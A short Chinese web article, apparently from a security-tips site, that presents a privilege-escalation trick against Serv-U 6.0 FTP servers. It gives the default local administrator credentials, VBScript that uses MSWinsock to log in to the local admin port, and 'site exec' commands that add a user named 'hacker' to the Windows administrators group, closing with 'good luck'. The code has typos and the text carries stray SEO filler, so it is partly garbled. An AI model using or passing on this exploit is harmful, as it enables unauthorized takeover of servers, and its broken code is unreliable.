Serv-u6.0提权新招

网络安全 2021-07-03 09:40www.168986.cn网络安全知识
适用环境服务器禁用FSO,关掉Wscript.shelll,没有执行权限。 限制没有更改管理员的密码,或者破解出了Serv-U的管理员的密码。Serv-U默认用户名localadministrator 密码#|@$ak#.|k;0@p 狼蚁网站SEO优化用MSWinsock。Winsock建立一个连接,并且以System权限添加超级用户,代码如下 以下是引用片段 Dim revdata Dim sendata Set sock=createobject(“MSWinsock.Winsock”) Sock.protocol=0 Sock.connect “127.0.0.1”,43958 Sendata=”LocalAdministrator”& chr(10) &chr(13) Sock.senddata snedata Sendata=”#|@$ak#.|k;0@p” &chr(10) &chr(13) Sock.senddata.sendata

使用这个代码就可以连上FTP了,接下来用Sock.senddata sendata 发送添加有执行权限用户的命令,想必大家该知道怎么做了吧,对了,就是用”site exec user hacker hacker /add” “site exec localgroup administrators hacker /add” 呵呵,就这样系统权限到手了,祝大家好运!

Copyright © 2016-2025 www.168986.cn 狼蚁网络 版权所有 Power by